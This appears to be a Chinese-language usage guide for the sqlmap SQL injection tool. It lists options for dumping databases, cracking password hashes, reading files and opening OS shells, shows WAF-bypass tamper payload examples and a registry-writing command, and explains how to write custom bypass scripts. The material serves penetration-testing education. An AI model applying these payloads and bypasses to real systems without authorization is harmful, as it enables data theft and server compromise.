SQLMAP
SQLMAP 简介
sqlmap支持五种不同的注入模式：
基于布尔的盲注，即可以根据返回页面判断条件真假的注入。
基于时间的盲注，即不能根据页面返回内容判断任何信息，用条件语句查看时间延迟语句是否执行（即页面返回时间是否增加）来判断。
基于报错注入，即页面会返回错误信息，或者把注入的语句的结果直接返回在页面中。
联合查询注入，可以使用union的情况下的注入。
堆查询注入，可以同时执行多条语句的执行时的注入。
SQLMAP支持的数据库
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB
参数
1. 指定目标
-d DIRECT 直接连接到数据库。
-u URL, –url=URL 目标URL。
-l LIST 从Burp或WebScarab代理的日志中解析目标。
-r REQUESTFILE 从一个文件中载入HTTP请求。
-g GOOGLEDORK 处理Google dork的结果作为目标URL。
-c CONFIGFILE 从INI配置文件中加载选项。2. 请求
--data # 将数据以 POST 方式提交
--method # 强制使用提供的 HTTP 方法（例如：PUT）
–-param-del # 当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数
–-cookie # 设定 Cookie
--host # 设定 host
--ignore-code # 忽略（有问题的）HTTP 错误码
--safe-freq=SAFE # 每访问两次给定的合法 URL 才发送一次测试请求
--drop-set-cookie #忽略 HTTP 响应中的 Set-Cookie 参数
–-referer # sqlmap可以在请求中伪造HTTP中的referer，当–level参数设定为3或者3以上的时候会尝试对referer注入
–-headers # 设置 HTTP 头,必须以换行符分隔
–-auth-cert # 当Web服务器需要客户端证书进行身份验证时，需要提供两个文件:key_file，cert_file;
# key_file是格式为PEM文件，包含着你的私钥，cert_file是格式为PEM的连接文件
–-delay # HTTP 请求延迟，可以设定两个HTTP(S)请求间的延迟，设定为0.5的时候是半秒，默认是没有延迟的
–-timeout # 设定超时时间，可以设定一个HTTP(S)请求超过多久判定为超时，10.5表示10.5秒，默认是30秒
–-retries # 设定重试超时，当HTTP(S)超时时，可以设定重新尝试连接次数，默认是3次
–-randomize # 设定随机改变的参数值，可以设定某一个参数值在每一次请求中随机的变化，长度和类型会与提供的初始值一样
–-threads # 设置并发量
–-keep-alive # 使用持久的HTTP（S）连接
-o # 开启所有优化开关
–-scope # 利用正则过滤目标网址
--eval # 每次请求时候执行自定义的python代码
--csrf-token 和 --csrf-url # 绕过反 CSRF 防护
–-null-connection # 从没有实际的HTTP响应体中检索页面长度
–-skip-urlencode # 关掉URL参数值编码
–-user-agent,–-random-agent # 设置 User-Agent
–-auth-type,–-auth-cred # 这些参数可以用来登陆HTTP的认证保护支持三种方式： Basic/Digest/NTLM
–-proxy,–-proxy-cred,–-ignore-proxy # 使用–proxy代理是格式为：http://url:port
# 当HTTP(S)代理需要认证是可以使用–proxy-cred参数：username:password
# –ignore-proxy拒绝使用本地局域网的HTTP(S)代理
–-safe-url,–-safe-freq # 避免过多的错误请求被屏蔽
# 有的web应用程序会在你多次访问错误的请求时屏蔽掉你以后的所有请求，这样在sqlmap进行探测或者注入的时候可能造成错误请求而触发这个策略，导致以后无法进行。
# --safe-url：提供一个安全不错误的连接，每隔一段时间都会去访问一下
# --safe-freq：提供一个安全不错误的连接，每次测试请求之后都会再访问一边安全连接
COOKIE :
参数：–cookie,–load-cookies,–drop-set-cookie 这个参数在以下两个方面很有用：
web应用需要登陆的时候。
你想要在这些头参数中测试SQL注入时。
可以通过抓包把cookie获取到，复制出来，然后加到–cookie参数里。 在HTTP请求中，遇到Set-Cookie的话，sqlmap会自动获取并且在以后的请求中加入，并且会尝试SQL注入。 如果你不想接受Set-Cookie可以使用–drop-set-cookie参数来拒接。 当你使用–cookie参数时，当返回一个Set-Cookie头的时候，sqlmap会询问你用哪个cookie来继续接下来的请求。当–level的参数设定为2或者2以上的时候，sqlmap会尝试注入Cookie参数。
3. 注入
-p # 设置测试参数
--skip # 设置不测试的参数
–-dbms # 指定数据库
-os # 指定数据库服务器状态
–-invalid-bignum # 指定无效的大数字
–-invalid-logical # 指定无效的逻辑，可以指定id=13把原来的id=-13的报错改成id=13 AND 18=19
–-prefix # 在注入的 payload 前面加一些字符
–-suffix # 在注入的 payload 后面加一些字符
–-tamper # 修改注入的数据，过 WAF 等设备4. 探测
–-level=LEVEL # 执行测试的等级（1-5，默认为1）
–-risk=RISK # 执行测试的风险（0-3，默认为1）
–-string=STRING # 查询时有效时在页面匹配字符串
–-regexp=REGEXP # 查询时有效时在页面匹配正则表达式
–-text-only # 仅基于在文本内容比较网页5. 注入技术
–-technique=TECH # SQL注入技术测试（默认BEUST）
–-time-sec=TIMESEC # DBMS响应的延迟时间（默认为5秒）
–-union-cols=UCOLS # 定列范围用于测试UNION查询注入
–-union-char=UCHAR # 用于暴力猜解列数的字符
–-second-order=URL # 二阶SQL注入6. 列数据
--b,–-banner # 标志
--current-user # 用户
–-current-db # 当前数据库
–-is-dba # 当前用户是否为管理用
–-users # 列出数据库管理用户
–-passwords # 列出并破解数据库用户的hash
–-privileges # 列出数据库管理员权限
–-roles # 列出数据库管理员角色， 仅适用于当前数据库是Oracle的时候
–-dbs # 列出数据库系统的数据库
–-tables # 列举数据库表
–-columns # 列举数据库表中的字段
–-schema # 列举数据库系统的架构
–-count # 获取表中数据个数
–-dump # 获取整个表的数据
–-dump-all # 获取所有数据库表的内容
-D DBname # 要进行枚举的指定数据库名
-T TBLname # 要进行枚举的指定数据库表
-C COL # 要进行枚举的数据库列
–-start=LIMITSTART # 第一个查询输出进入检索
–-stop=LIMITSTOP # 最后查询的输出进入检索
–-first=FIRSTCHAR # 第一个查询输出字的字符检索
–-last=LASTCHAR # 最后查询的输出字字符检索
–-exclude-sysdbs # 枚举表时排除系统数据库
–-search # 搜索字段，表，数据库
–-sql-query # 要执行的SQL语句
–-sql-shell # 提示交互式SQL的shell7. 爆破
–-common-tables # 暴力破解表名
–-common-columns # 暴力破解列名
–-udf-inject # 用户自定义函数注入
–-shared-lib=SHLIB # 共享库的本地路径8. 文件&命令操作
–-file-read=RFILE # 从数据库服务器中读取文件
–-file-write=WFILE # 把文件上传到数据库服务器中
–-file-dest=DFILE # 后端的数据库管理系统写入文件的绝对路径
–-os-cmd=OSCMD # 执行操作系统命令
–-os-shell # 交互式的操作系统的shell
–-os-pwn # 获取一个OOB shell，meterpreter或VNC
–-os-smbrelay # 一键获取一个OOB shell，meterpreter或VNC
–-os-bof # 存储过程缓冲区溢出利用
–-priv-esc # 数据库进程用户权限提升
–-msf-path=MSFPATH # Metasploit Framework本地的安装路径
–-tmp-path=TMPPATH # 远程临时文件目录的绝对路径9. 对 Windows 注册表操作
当数据库为MySQL，PostgreSQL或Microsoft SQL Server，并且当前web应用支持堆查询。 当然，当前连接数据库的用户也需要有权限操作注册表。
–-reg-read # 读取注册表值
–-reg-add # 写入注册表值
–-reg-del # 删除注册表值
–-reg-key=REGKEY # Windows注册表键
–-reg-value=REGVAL # Windows注册表项值
–-reg-data=REGDATA # Windows注册表键值数据
–-reg-type=REGTYPE # Windows注册表项值类型
python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=110. 常规参数
-s # 从sqlite中读取session
-t # 保存HTTP(S)日志
–-batch # 非交互模式
–-charset # 强制使用字符编码
–-crawl # 爬行网站URL,sqlmap可以收集潜在的可能存在漏洞的连接，后面跟的参数是爬行的深度
–-csv-del # 规定输出到CSV中的分隔符
–-dbms-cred # DBMS身份验证
–-dump-format # 定义dump数据的格式, CSV，HTML，SQLITE
–-eta # 预估完成时间
–-flush-session # 刷新session文件
–-forms # 自动获取form表单测试
–-fresh-queries # 忽略在会话文件中存储的查询结果
–-hex # 使用DBMS的hex函数，有时候字符编码的问题，可能导致数据丢失，可以使用hex函数来避免
–-output-dir # 自定义输出的路径
–-parse-errors # 从响应中获取DBMS的错误信息11. 其他参数
-z # 使用参数缩写
–-alert # 成功SQL注入时警告
–-answers # 设定会发的答案
–-beep # 发现SQL注入时发出蜂鸣声
-v # 查看注入检测详情,见下注解
–-check-waf # 启发式检测WAF/IPS/IDS保护
–-cleanup # 清理sqlmap的UDF(s)和表
–-desable-coloring # 禁用彩色输出
–-gpage # 使用指定的Google结果页面，默认sqlmap使用前100个URL地址作为注入测试，结合此选项，可以指定页面的URL测试
--hpp # HTTP参数污染可能会绕过WAF/IPS/IDS保护机制，这个对ASP/IIS与ASP.NET/IIS平台很有效
–-identify-waf # 测试WAF/IPS/IDS保护
–-mobile # 有时服务端只接收移动端的访问，此时可以设定一个手机的User-Agent来模仿手机登陆
–-purge-output # 安全的删除output目录的文件
–-smart # 启发式判断注入
–-wizard # 初级用户向导参数
–-update # 更新SqlMap
-v 参数：
只显示python错误以及严重的信息
同时显示基本信息和警告信息。（默认）
同时显示debug信息
同时显示注入的payload
同时显示HTTP请求
同时显示HTTP响应头
同时显示HTTP响应页面
Tamper 脚本
tamper 脚本可以用来对 sqlmap 的 sql 查询语句进行一次处理，让其绕过过滤，tamper 脚本在 sqlmap 安装目录的 tamper 目录下
use age：sqlmap.py --tamper="模块名.py"1. tamper 适用的数据库类型 & 版本
2. 自带tamper介绍
apostrophemask.py
功能：对引号进行 utf-8 格式编码 (% EF% BC%87)
平台：All
举例：1 AND ‘1’=’1 ==> 1 AND % EF% BC%871% EF% BC%87=% EF% BC%871
apostrophenullencode.py
功能：用非法的双 unicode 字符 (%00%27) 替换引号字符
平台：All
举例：1 AND ‘1’=’1 ==> 1 AND %00%271%00%27=%00%271
appendnullbyte.py
功能：在有效载荷结束位置加载零字节字符编码
平台：Microsoft Access
举例：1 AND 1=1 ==> 1 AND 1=1%00
base64encode.py
功能：用 base64 格式进行编码
平台：All
举例：1’ AND SLEEP (5)# ==> MScgQU5EIFNMRUVQKDUpIw==
between.py
功能：用 between 替换大于号（>）
平台：Mssql2005、MySQL 4/5.0/5.5、Oracle 10g、PostgreSQL 8.3/8.4/9.0
举例：
1 AND A > B – ==> 1 AND A NOT BETWEEN 0 AND B –
1 AND A = B – ==> 1 AND A BETWEEN B AND B –
bluecoat.py
功能：对 SQL 语句替换空格字符为 (%09)，并替换”=”—>”LIKE”
平台：MySQL 5.1, SGOS
举例：SELECT username FROM users WHERE id = 1 ==> SELECT%09username FROM%09users WHERE%09id LIKE 1
apostrophemask.py
功能：用 utf-8 格式编码引号 (如：% EF% BC%87)
平台：All
举例：1 AND ‘1’=’1 ==> 1 AND % EF% BC%871% EF% BC%87=% EF% BC%871
charunicodeencode.py
功能：对字符串进行 Unicode 格式转义编码
平台：Mssql 2000,2005、MySQL 5.1.56、PostgreSQL 9.0.3 ASP/ASP.NET
举例：SELECT FIELD%20FROM TABLE ==> % u0053% u0045% u004C% u0045% u0043% u0054% u0020% u0046% u0049% u0045% u004C% u0044% u0020% u0046% u0052% u004F% u004D% u0020% u0054% u0041% u0042% u004C% u0045
charencode.py
功能：采用 url 格式编码 1 次
平台：Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
举例：SELECT FIELD FROM%20TABLE ==> %53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45
chardoubleencode.py
功能：采用 url 格式编码 2 次
平台：All
举例：SELECT FIELD FROM%20TABLE ==> %2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545
commalessmid.py
功能：将 payload 中的逗号用 from 和 for 代替，用于过滤了逗号并且是 3 个参数的情况
平台：MySQL 5.0, 5.5
举例：MID (VERSION (), 1, 1) ==> MID (VERSION () FROM 1 FOR 1)
concat2concatws.py
功能：CONCAT () ==> CONCAT_WS ()，用于过滤了 CONCAT () 函数的情况
平台： MySQL 5.0
举例：CONCAT (1,2) ==> CONCAT_WS (MID (CHAR (0),0,0),1,2)
equaltolike.py
功能：= ==> LIKE，用于过滤了等号”=” 的情况
平台：Mssql 2005、MySQL 4, 5.0 and 5.5
举例：SELECT * FROM users WHERE id=1 ==> SELECT * FROM users WHERE id LIKE 1
greatest.py
功能：> ==> GREATEST
平台：MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
举例：1 AND A > B ==> 1 AND GREATEST (A, B+1)=A
a 和 b+1 比较，取两者中的最大值为 a；则 a >= b+1，亦即 a > b
halfversionedmorekeywords.py
功能：空格 ==> / !0 （在关键字前添加注释）
平台：MySQL 4.0.18, 5.0.22（Mysql < 5.1）
举例：union ==> /!0union
ifnull2ifisnull.py
功能：IFNULL (A, B) ==> IF (ISNULL (A), B, A)
平台：MySQL 5.0 and 5.5
举例：IFNULL (1, 2) ==> IF (ISNULL (1),2,1)
informationschemacomment.py
功能：
在 information_schema 后面加上 // ，用于绕过对 information_schema 的情况
retVal = re.sub(r”(?i)(information_schema).”, “g<1>/ /.”, payload)
平台：All
举例：select table_name from information_schema.tables ==> select table_name from information_schema/**/.tables
lowercase.py
功能：将 payload 里的大写转为小写
平台：Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
举例：SELECT table_name FROM INFORMATION_SCHEMA.TABLES ==> select table_name from information_schema.tables
modsecurityversioned.py
功能：用注释来包围完整的查询语句，用于绕过 ModSecurity 开源 waf
平台：MySQL 5.0
举例：1 AND 2>1– ==> 1 /!30874AND 2>1/–
modsecurityzeroversioned.py
功能：用注释来包围完整的查询语句，用于绕过 waf ，和上面类似
平台：Mysql
举例：1 and 2>1–+ ==> 1 /!00000and 2>1/–+
multiplespaces.py
功能：围绕 SQL 关键字添加多个空格
平台：All
举例：1 UNION SELECT foobar ==> 1 UNION SELECT foobar
nonrecursivereplacement.py
功能：关键字双写，可用于关键字过滤
平台：All
举例：1 UNION SELECT 2– ==> 1 UNIONUNION SELESELECTCT 2–
overlongutf8.py
功能： 转换给定的 payload 当中的所有字符
平台：All
举例：SELECT FIELD FROM TABLE WHERE 2>1 ==> SELECT% C0% AAFIELD% C0% AAFROM% C0% AATABLE% C0% AAWHERE% C0% AA2% C0% BE1
percentage.py
功能：用百分号来绕过关键字过滤，在关键字的每个字母前面都加一个 (%)
平台：Mssql 2000, 2005、MySQL 5.1.56, 5.5.11、PostgreSQL 9.0
举例：SELECT FIELD FROM TABLE ==> % S% E% L% E% C% T % F% I% E% L% D % F% R% O% M % T% A% B% L% E
randomcase.py
功能：将 payload 随机大小写
平台：Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
举例：INSERT ==> InseRt
randomcomments.py
功能：在 payload 的关键字中间随机插入注释符 /**/ ，可用于绕过关键字过滤
平台：Mysql
举例：INSERT ==> I / ** / N / ** / SERT
securesphere.py
功能：在 payload 后追加特殊构造的字符串
平台：All
举例：1 AND 1=1 ==> 1 AND 1=1 and ‘0having’=’0having’
space2comment.py
功能：用注释符 // 代替空格，用于空格的绕过
平台：Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
举例：SELECT id FROM users ==> SELECT//id//FROM//users
space2dash.py
功能：用 [注释符 (–)+ 一个随机字符串 + 一个换行符] 替换控制符
平台：MSSQL、 SQLite
举例：union select 1,2–+ ==> union–HSHjsJh%0Aselect–HhjHSJ%0A1,2–+
space2hash.py
功能：用 [注释符 (#)+ 一个随机字符串 + 一个换行符] 替换控制符
平台：Mysql
举例：union select 1,2–+ ==> union%23HSHjsJh%0Aselect%23HhjHSJ%0A1,2–+
space2morehash.py
功能：用多个 [注释符 (#)+ 一个随机字符串 + 一个换行符] 替换控制符
平台：MySQL >= 5.1.13
举例：union select 1,2–+ ==> union %23 HSHjsJh %0A select %23 HhjHSJ %0A%23 HJHJhj %0A 1,2–+
space2mssqlblank.py
功能：用随机的空白符替换 payload 中的空格
blanks = (‘%01’, ‘%02’, ‘%03’, ‘%04’, ‘%05’, ‘%06’, ‘%07’, ‘%08’, ‘%09’, ‘%0B’, ‘%0C’, ‘%0D’, ‘%0E’, ‘%0F’, ‘%0A’)
平台：Mssql 2000,2005
举例：SELECT id FROM users ==> SELECT%0Eid%0DFROM%07users
space2mssqlhash.py
功能：用 [字符# + 一个换行符] 替换 payload 中的空格
平台：MSSQL、MySQL
举例：union select 1,2–+ ==> union%23%0Aselect%23%0A1,2–+
space2plus.py
功能：用加号 (+) 替换空格
平台：All
举例：SELECT id FROM users ==> SELECT+id+FROM+users
space2randomblank.py
功能：用随机的空白符替换 payload 中的空格
平台：Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
举例：SELECT id FROM users ==> SELECT%0Did%0DFROM%0Ausers
sp_password.py
功能：在 payload 语句后添加 sp_password ，用于迷惑数据库日志（Space ==> sp_password）
平台：Mssql
举例：1 AND 9227=9227– ==> 1 AND 9227=9227 – sp_password
symboliclogical.py
功能：用 && 替换 and ，用 || 替换 or ，用于这些关键字被过滤的情况
平台：All
举例：
1 and 1=1 ==> 1 %26%26 1=1
1 or 1=1 ==> 1 %7c%7c 1=1
unionalltounion.py
功能：用 union select 替换 union all select
平台：All
举例：union all select 1,2–+ ==> union select 1,2–+
unmagicquotes.py
功能：用宽字符绕过 GPC addslashes
平台：All
举例：1’ and 1=1 ==> 1% df%27 and 1=1–
uppercase.py
功能：将 payload 中的小写字母转为大写格式
平台：Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
举例：insert ==> INSERT
varnish.py
功能：添加一个 HTTP 头 “X-originating-IP” 来绕过 WAF
平台：headers = kwargs.get (“headers”, {}) headers [“X-originating-IP”] = “127.0.0.1”return payload
举例：All
versionedkeywords.py
功能：对非函数的关键字进行注释
平台：MySQL 4.0.18, 5.1.56, 5.5.11
举例：1 union select user () ==> 1/!UNION//!SELECT/user ()
versionedmorekeywords.py
功能：对每个关键字进行注释处理
平台：MySQL 5.1.56, 5.5.11
举例：1 union select user () ==> 1/!UNION//!SELECT/user ()
xforwardedfor.py
功能：添加一个伪造的 HTTP 头 “X-Forwarded-For” 来绕过 WAF
平台：All
举例：headers = kwargs.get (“headers”, {}) headers [“X-Forwarded-For”] = randomIP () return payload3. 编写tamper
先来看一个简单的 tamper：apostrophemask.py
# Needed imports
from lib.core.enums import PRIORITY
# Define which is the order of application of tamper scripts against
# the payload
__priority__ = PRIORITY.NORMAL
def tamper(payload, **kwargs):
'''
Description of your tamper script
'''
retVal = payload.replace('\'', "%EF%BC%87") if payload else payload
# your code to tamper the original payload
# return the tampered payload
return retVal这个 tamper 非常的简单，写的话参考这个就可以了，先来分析这里边有什么元素
import部分
__priority__属性dependencies函数
tamper函数以及用户自定义的函数
1. import 部分
可以导入sqlmap的内部库，sqlmap 为我们提供了很多封装好的函数和数据类型，比如上面的的PRIORITY就来源于sqlmap/lib/core/enums.py
2. priority
定义当前 tamper 的优先级，用于有多个tamper脚本的情况，有以下参数
class PRIORITY:
LOWEST = -100
LOWER = -50
LOW = -10
NORMAL = 0
HIGH = 10
HIGHER = 50
HIGHEST = 1003. dependencies
函数声明该脚本适用/不适用的范围，可以为空，比如以下代码
# sqlmap/tamper/echarunicodeencode.py
from lib.core.common import singleTimeWarnMessage
def dependencies():
singleTimeWarnMessage("tamper script '%s' is only meant to be run against ASP or ASP.NET web applications" % os.path.basename(__file__).split(".")[0])
# singleTimeWarnMessage() 于在控制台中打印出警告信息数据库有以下名称，在lib\core\enums.py可以看到全部
class DBMS:
ACCESS = "Microsoft Access"
DB2 = "IBM DB2"
FIREBIRD = "Firebird"
MAXDB = "SAP MaxDB"
MSSQL = "Microsoft SQL Server"
MYSQL = "MySQL"
ORACLE = "Oracle"
PGSQL = "PostgreSQL"
SQLITE = "SQLite"
SYBASE = "Sybase"
HSQLDB = "HSQLDB"
......4. tamper函数
主要功能实现的函数，其中 payload 参数就是原始的 sqlmap的原始注入payload，我们要实现绕过，一般就是针对这个 payload 的修改
比如双写绕过的 payload
def tamper(payload, **kwargs):
payload = payload.lower()
payload = payload.replace('select','seleselectct')
payload = payload.replace('union','ununionion')
return payload第二个参数：**kwargs中包含了 http 头的数据，可以从kwargs中取出headers数组在进行更改
比如将 http 头中的 xff 头变为随机 ip
def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
headers["X-Forwarded-For"] = randomIP()
return payload最后更新于